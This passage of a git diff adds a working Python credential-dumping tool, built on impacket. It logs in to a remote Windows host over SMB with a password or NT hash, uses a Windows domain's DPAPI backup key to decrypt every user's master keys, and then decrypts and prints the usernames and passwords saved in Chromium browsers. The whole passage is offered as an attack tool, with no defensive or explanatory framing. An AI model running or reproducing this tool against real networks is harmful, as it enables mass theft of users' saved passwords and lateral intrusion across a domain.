get_aes_key, decrypt_logins + + +def collect_masterkeys(smb, profiles, rsa_cipher): + masterkeys = {} + for profile in profiles: + protect_base = rf'Users\{profile}\AppData\Roaming\Microsoft\Protect' + for sid in list_dir(smb, 'C$', protect_base): + if not sid.startswith('S-'): + continue + mk_dir = rf'{protect_base}\{sid}' + for mk_name in list_dir(smb, 'C$', mk_dir): + if mk_name.lower() == 'preferred': + continue + try: + mk_bytes = read_file(smb, 'C$', rf'{mk_dir}\{mk_name}') + guid, mk = decrypt_masterkey(mk_bytes, rsa_cipher) + if mk: + masterkeys[guid] = mk + print(f' [+] {profile}/{sid}/{mk_name} -> {mk.hex()[:16]}...') + else: + print(f' [-] {profile}/{sid}/{mk_name} -> no DomainKey (local-only)') + except Exception as e: + print(f' [-] {profile}/{sid}/{mk_name} -> {e}') + return masterkeys + + +def collect_credentials(smb, profiles, masterkeys): + all_creds = [] + for profile in profiles: + for browser, rel_path in BROWSER_PATHS.items(): + user_data = rf'Users\{profile}\{rel_path}' + try: + local_state = read_file(smb, 'C$', rf'{user_data}\Local State') + except Exception: + continue + + aes_key = get_aes_key(local_state, masterkeys) + if not aes_key: + print(f' [-] {profile}/{browser}: AES key decrypt failed') + continue + + print(f' [*] {profile}/{browser}: AES key {aes_key.hex()[:16]}...') + + sub_profiles = ['Default'] + [ + s for s in list_dir(smb, 'C$', user_data) + if s.lower().startswith('profile') + ] + for sub in sub_profiles: + try: + ld_bytes = read_file(smb, 'C$', rf'{user_data}\{sub}\Login Data') + creds = decrypt_logins(ld_bytes, aes_key) + if creds: + print(f' [+] {sub}: {len(creds)} credential(s)') + for url, user, pw in creds: + all_creds.append((profile, browser, sub, url, user, pw)) + except Exception: + pass + return all_creds + + +def print_results(creds): + col = (12, 10, 10, 45, 20) + hdr = ( + f"{'Profile':<{col[0]}} {'Browser':<{col[1]}} {'Sub-profile':<{col[2]}}" + f" {'URL':<{col[3]}} {'Username':<{col[4]}} Password" + ) + print(f'\n{hdr}') + print('=' * (sum(col) + len(col) + 10)) + for win_prof, browser, sub, url, user, pw in creds: + print( + f'{win_prof:<{col[0]}} {browser:<{col[1]}} {sub:<{col[2]}}' + f' {url:<{col[3]}} {user:<{col[4]}} {pw}' + ) + + +def main(): + p = argparse.ArgumentParser( + description='Dump Chromium browser credentials via SMB using the DPAPI domain backup key' + ) + p.add_argument('-t', '--target', required=True, help='Target IP or hostname') + p.add_argument('-d', '--domain', default='', help='Windows domain') + p.add_argument('-u', '--username', required=True, help='SMB username') + p.add_argument('-H', '--hashes', default='', help=':NTHASH or LMHASH:NTHASH') + p.add_argument('-p', '--password', default='', help='Cleartext password') + p.add_argument('--pvk', required=True, help='Domain backup key PVK file') + args = p.parse_args() + + lm_hash = nt_hash = '' + if args.hashes: + parts = args.hashes.split(':') + lm_hash = parts[0] + nt_hash = parts[1] if len(parts) > 1 else parts[0] + + print(f'[*] Connecting to {args.target}') + smb = connect(args.target, args.username, args.password, args.domain, lm_hash, nt_hash) + print(f'[+] Authenticated as {args.domain}\\{args.username}') + + print(f'[*] Loading PVK: {args.pvk}') + rsa_key, rsa_cipher = load_pvk(args.pvk) + print(f'[+] Backup key loaded ({rsa_key.n.bit_length()}-bit RSA)') + + profiles = list_dir(smb, 'C$', r'Users') + print(f'[*] User profiles: {profiles}') + + print('[*] Decrypting master keys') + masterkeys = collect_masterkeys(smb, profiles, rsa_cipher) + print(f'[*] Decrypted {len(masterkeys)} master key(s)') + + if not masterkeys: + print('[-] No master keys decrypted, cannot continue') + sys.exit(1) + + print('[*] Scanning for browser credentials') + creds = collect_credentials(smb, profiles, masterkeys) + + if not creds: + print('[-] No credentials recovered') + return + + print_results(creds) + + +if __name__ == '__main__': + main() diff --git a/dpapi_utils.py b/dpapi_utils.py new file mode 100644 index 0000000..286603f --- /dev/null +++ b/dpapi_utils.py @@ -0,0 +1,43 @@ +import uuid +from impacket import dpapi as idpapi +from Crypto.Cipher import PKCS1_v1_5 + + +def load_pvk(pvk_path): + with open(pvk_path, 'rb') as f: + pvk_data = f.read() + hdr = idpapi.PVK_FILE_HDR(pvk_data) + assert hdr['dwMagic'] == 0xb0b5f11e, "Not a valid PVK file" + blob_start = len(hdr) + hdr['cbEncryptData'] + priv_blob = idpapi.PRIVATE_KEY_BLOB(pvk_data[blob_start:]) + rsa_key = idpapi.privatekeyblob_to_pkcs1(priv_blob) + return rsa_key, PKCS1_v1_5.new(rsa_key) + + +def decrypt_masterkey(mk_bytes, rsa_cipher): + mkf = idpapi.MasterKeyFile(mk_bytes) + if mkf['DomainKeyLen'] == 0: + return None, None + + offset = ( + len(mkf) + + int(mkf['MasterKeyLen']) + + int(mkf['BackupKeyLen']) + + int(mkf['CredHistLen']) + ) + dk = idpapi.DomainKey(mk_bytes[offset:]) + + # The ciphertext is stored in little-endian byte order per the MS-DPAPI spec + sentinel = b'\xff' * 32 + plaintext = rsa_cipher.decrypt(bytes(dk['SecretData'])[::-1], sentinel) + if plaintext == sentinel: + return None, None + + rsa_mk = idpapi.DPAPI_DOMAIN_RSA_MASTER_KEY(plaintext) + masterkey = bytes(rsa_mk['buffer'])[:rsa_mk['cbMasterKey']] + + # The master key file name IS its GUID, used to match DPAPI blobs later + guid_raw = bytes(mkf['Guid'])[:16] + mk_guid = str(uuid.UUID(bytes_le=guid_raw)) + + return mk_guid, masterkey diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..6f3b53e --- /dev/null +++ b/requirements.txt @@ -0,0 +1,3 @@ +impacket>=0.12.0 +pycryptodome>=3.19.0 +cryptography>=42.0.0 diff --git a/smb_utils.py b/smb_utils.py new file mode 100644 index 0000000..ee51144 --- /dev/null +++ b/smb_utils.py @@ -0,0 +1,22 @@ +import io +from impacket.smbconnection import SMBConnection + + +def connect(target, username, password, domain, lm_hash, nt_hash): + smb = SMBConnection(target, target) + smb.login(username, password, domain, lm_hash, nt_hash) + return smb + + +def read_file(smb, share, path): + buf = io.BytesIO() + smb.getFile(share, path, buf.write) + return buf.getvalue() + + +def list_dir(smb, share, path): + try: + entries = smb.listPath(share, path + r'\*') + return [e.get_longname() for e in entries if e.get_longname() not in ('.', '..')] + except Exception: + return []